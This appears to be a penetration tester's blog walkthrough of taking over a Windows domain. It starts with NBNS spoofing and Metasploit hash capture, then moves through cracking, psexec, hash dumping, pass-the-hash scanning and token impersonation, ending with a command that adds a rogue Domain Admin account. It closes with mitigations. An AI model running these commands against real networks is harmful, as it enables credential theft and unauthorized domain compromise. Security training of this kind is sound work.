I (Tim Medin) do a good number of internal penetration tests, and I have found one particular series of techniques that tend to be very quick and efficient at gaining Domain Administrator-level access. Of course, the viability of this depends on the environment and the configurations, and since this technique depends on default configurations, it is usually very effective because defaults aren't usually changed. This article is provided to help our clients proactively assess their own networks and provide mitigation solutions to properly secure their networks.
Step 1 - NBNS Spoof
Walking into the site, I note how many Windows XP workstations I see. If there are a fair number of them, I know this is going to get me creds pretty quickly. See my other post for details on the technique.
In short, when a Windows box can't resolve a name via the hosts file or DNS, it sends a broadcast NetBIOS Name Servers (NBNS) Name Request packet. You would think this would be uncommon, but usually there are a fair number of these packets flying around, and no one (normally) responds to them. What a perfect opportunity for us, the attacker.
This broadcast packet is seen by every device on the same broadcast domain, and any of these devices can respond too. The auxiliary/spoof/nbns/nbns_response Metasploit module will reply to the victim with a poisoned entry.
msf > use auxiliary/spoof/nbns/nbns_response
msf auxiliary(nbns_response) > show options
Module options (auxiliary/spoof/nbns/nbns_response):
| Name | Current Setting | Required | Description |
| -------------- | ------------------- | -------------- | ------------------ |
| INTERFACE | no | The name of the interface | |
| REGEX | .* | yes | Regex applied to the NB N... |
| SPOOFIP | 127.0.0.1 | yes | IP address with which to ... |
| TIMEOUT | 500 | yes | The number of seconds to ... |
msf auxiliary(nbns_response) > set INTERFACE eth0
INTERFACE => eth0
msf auxiliary(nbns_response) > set SPOOFIP 10.10.10.10
SPOOFIP => 10.10.10.10
msf auxiliary(nbns_response) > run
The requesting device was trying to look up a name for some reason, usually because it wants to connect to one of its services, and usually those services are either HTTP or SMB. Additional Metasploit modules are used to request authentication (yummy hashes!) on port 80 (auxiliary/server/capture/http_ntlm) and 445 (auxiliary/server/capture/smb).
The only option that needs to be set on the SMB module is the path to store the John the Ripper file that will contain the hashes.
msf > use auxiliary/server/capture/smb
msf auxiliary(smb) > show options
Module options (auxiliary/server/capture/smb):
| Name | Current Setting | Required | Description |
| -------------- | ------------------- | -------------- | ------------------ |
| CAINPWFILE | no | The local filename to sto... | |
| CHALLENGE | 1122334455667788 | yes | The 8 byte challenge |
| JOHNPWFILE | no | The prefix to the local ... | |
| SRVHOST | 0.0.0.0 | yes | The local host to listen ... |
| SRVPORT | 445 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incomin... |
| SSLCert | no | Path to a custom SSL cert... | |
| SSLVersion | SSL3 | no | Specify the version of SS... |
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_smb
JOHNPWFILE => /tmp/john_smb
msf auxiliary(smb) > run
The HTTP module needs a few more options set.
msf auxiliary(smb) > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > show options
Module options (auxiliary/server/capture/http_ntlm):
| Name | Current Setting | Required | Description |
| -------------- | ------------------- | -------------- | ------------------ |
| CAINPWFILE | no | The local filename to sto... | |
| CHALLENGE | 1122334455667788 | yes | The 8 byte challenge |
| JOHNPWFILE | no | The prefix to the local f... | |
| SRVHOST | 0.0.0.0 | yes | The local host to listen ... |
| SRVPORT | 8080 | yes | The local port to listen on. |
| SSL | false | no | Negotiate SSL for incomin... |
| SSLCert | no | Path to a custom SSL cert... | |
| SSLVersion | SSL3 | no | Specify the version of SS... |
| URIPATH | no | The URI to use for this e... |
msf auxiliary(smb) > set JOHNPWFILE /tmp/john_http
JOHNPWFILE => /tmp/john_http
msf auxiliary(smb) > set SRVPORT 80
SRVPORT => 80
msf auxiliary(smb) > set URIPATH /
URIPATH => / msf auxiliary(smb) > run
These settings set the location for the JtR formatted hashes file, the server port and the URI to respond to. Now we have the listeners setup, and in a while we should have some hashes to use in the next step.
Step 2 - Crack the Hashes
The hashes we received in the above step are usually dependent on the OS sending the hashes. The default setting on XP is to include NetLM hashes, while Windows 7 will not set the NetLM hashes. The NetLM hashes can be quickly cracked using rainbow tables, whereas the NetNTLM hashes don’t suffer from the same cryptographic weaknesses and require a more intensive, and slower, approach to crack the passwords.
The NetLM hashes received above can't be passed via pass-the-hash because they have an additional challenge (11122334455667788) added to the hash so it isn't clean. This challenge is sent by the server and is designed to prevent reply attacks, since the server should send a new, random challenge each time. In this case, we are the server so we use a static challenge to crack the passwords via rainbow tables.
With NetLM, the first seven characters are quickly cracked via hash tables, and the second half via a perl script that comes with John the Ripper and the latest Jumbo pack. Details of this procedure are also found in my other post.
Step 3 - Use the Creds Against Source
The box that sent the hashes obviously allows those credentials to have some access on the device. Many times the exploit/windows/smb/psexec Metasploit module will provide us access to the system. Note, in some cases the user whose credentials you have compromised may not have access to the $ADMIN share or it may not exist, so changing the share option to C$ or something similar can make this slightly more effective. Using the Meterpreter payload with the exploit usually yields a nice Meterpreter shell. If you don't have SYSTEM-level access, you will need to gain this to continue, but if this step works at all, it will, in my experience, quickly lead to SYSTEM-level access on the box. This level of access is necessary for step 4b (not 4a).
Once we have the necessary access we need to do two things:
Step 4a - List the Domain Administrators
After you have the Meterpreter shell, drop into a CMD.EXE shell via the aptly named shell command. From here get the list of the sensitive accounts (usually Domain Admins).
C:\> net group "Domain Admins" /domain
| Group Name | Domain Admins |
| Comment | Designated administrators of the domain |
| Members | |
| --------------------------------------------------------------------- | |
| Administrator | AliceAdmin |
| AdamInistrator | |
| The command completed successfully. | |
These are the accounts we are going to look for later.
Step 4b - Dump the Local Account Hashes
In almost every case, the local administrator account is reused throughout the environment; however, the reuse may not extend across different classes of machines (laptop local administrator password may be different than the server administrator local password). That's OK, since we'll get there soon enough. The proper method for dumping hashes has changed recently, so make sure you run smart_hashdump and not just hashdump (of course, this may change again soon enough).
meterpreter > run post/windows/gather/smart_hashdump GETSYSTEM=FALSE
[*] Running module against WinXP
<Extra output removed for brevity>
[+] Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
...
We don't need to crack the password, since we can use the pass-the-hash functionality in Metasploit as you will see in the next step.
Step 5 - Find the Admins
There are many ways to achieve this step, but this is my preferred method because it does threading. Tim Tomes recently wrote a blog post on the PaulDotCom site to do this with just the built-in Windows CMD.EXE shell.
To set this up, we first use the spool option so we can capture the output of the next command.
msf > spool /tmp/enumdomainusers.txt
I use the auxiliary/scanner/smb/smb_enumusers_domain module. I can give it a number of hosts across a wide range of networks. The SMBUser option is set to Administrator, since we are exploiting the reuse of the local administrator's password. The SMBPass options is set to the hash of the local administrator, like this:
msf > use auxiliary/scanner/smb/smb_enumusers_domain
msf auxiliary(smb_enumusers_domain) > show options
Module options (auxiliary/scanner/smb/smb_enumusers_domain):
| Name | Current Setting | Required | Description |
| ----------------- | -------------- | ---------- | ------------- |
| RHOSTS | yes | The target address range or ... | |
| SMBDomain | WORKGROUP | no | The Windows domain to use fo... |
| SMBPass | no | The password for the specifi... | |
| SMBUser | no | The username to authenticate as | |
| THREADS | 1 | yes | The number of concurrent threads |
msf auxiliary(smb_enumusers_domain) > set smbuser Administrator
smbuser => Administrator
msf auxiliary(smb_enumusers_domain) > set smbpass
aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
smbpass => aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
msf auxiliary(smb_enumusers_domain) > set rhosts 10.10.10.0/24
rhosts => 10.10.10.0/24
msf auxiliary(smb_enumusers_domain) > set threads 8
threads => 8
msf auxiliary(smb_enumusers_domain) > run
After running the command, we get output similar to this:
The connection was refused by the remote host (10.10.10.1:139).
The connection was refused by the remote host (10.10.10.1:445).
The connection timed out (10.10.10.2:139).
The connection timed out (10.10.10.2:445).
The connection timed out (10.10.10.3:445).
Login Failed: The server responded with error: STATUS_LOGON_FAILURE (Command=115 WordCount=0)
[*] 10.10.10.4 : MYDOM\SERVER1$, MYDOM\jdoe
[*] 10.10.10.5 : MYDOM\SERVER2$, MYDOM\adaministrator
...
Now turn off spool so we don't clutter our output. We can also search the output for the user we want.
msf > spool off
Now, we have a juicy target, the box at 10.10.10.5! If we didn't want to keep an eye on the progress, we could just grep through the results to find the user we would like. And since the results are saved in our file, we can search them as much as we want without generating additional traffic.
Step 6 - Compromise the Admin's Box and Account
Use the shared local administrator credentials to access the device similar to what we did in Step 3. Within Meterpreter, we then load incognito so we can hijack his tokens and have Domain Administrative access on the domain.
meterpreter > load incognito
meterpreter > list_tokens -u
Delegation Tokens Available
========================================
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM
Impersonation Tokens Available
========================================
NT AUTHORITY\ANONYMOUS LOGON
MYDOM\adaministrator
meterpreter > impersonate_token MYDOM\\adaministrator
meterpreter > getuid
Server username: MYDOM\adaministrator
meterpreter > shell
Process 2936 created.
Channel 6 created.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\> whoami
mydom\adaministrator
C:\> net user timmedin /add /domain
The request will be processed at the primary domain controller for domain MYDOM.
The command completed successfully.
C:\> net group "Domain Admins" timmedin /add /domain
The request will be processed at the primary domain controller for domain MYDOM.
The command completed successfully.
Step 7 - Pillage
Getting Domain Administrator level access is not the end, but rather it is the beginning of a different portion of the test. Executives don't know what a Domain is, nor do they know what a Domain Administrator is. Go find some cool information to demonstrate what is at risk here. This step requires a book to fully describe and is often overlooked because some testers stop at Step 6 because they believe that is the end goal. The bad guys don't stop there, so why should we when acting as bad guys?
Step 8 - Documentation
Frigging reports.
Mitigations
After using this attack countless times, I get a little tired of seeing it. Our goal is to help organizations increase the security posture. So, here are a few ways to mitigate the attack:
Weak Password Storage.
LM passwords are incredibly easy to crack. Disabling the use and storage of the credentials reduces the feasibility of cracking the credentials obtained via the NBNS Spoof. Even if it is a crappy password, it usually takes more time to crack the passwords, and any increase of the effort required is a good thing.
Local Administrative Password Reuse.
One approach is to resolve the issue is to use a unique password for each device. Frankly, I think this is an administrative nightmare. You can keep the same password but deny the account access via the network. This means that even if you obtain the credentials, you can only use them locally. Realistically, this is the only time they should be needed. A unique user domain account should be used to access the device to administer it remotely. If the box is messed up so badly that the domain account won't work, it will usually require tech support personnel to put “hands on the keyboard” anyhow.
There are some fancy ways to reduce the risk associated in the other steps we took, but these two mitigations are simply the most effective ways to break this chain from 0 to DA before a second cup of coffee.
Add new comment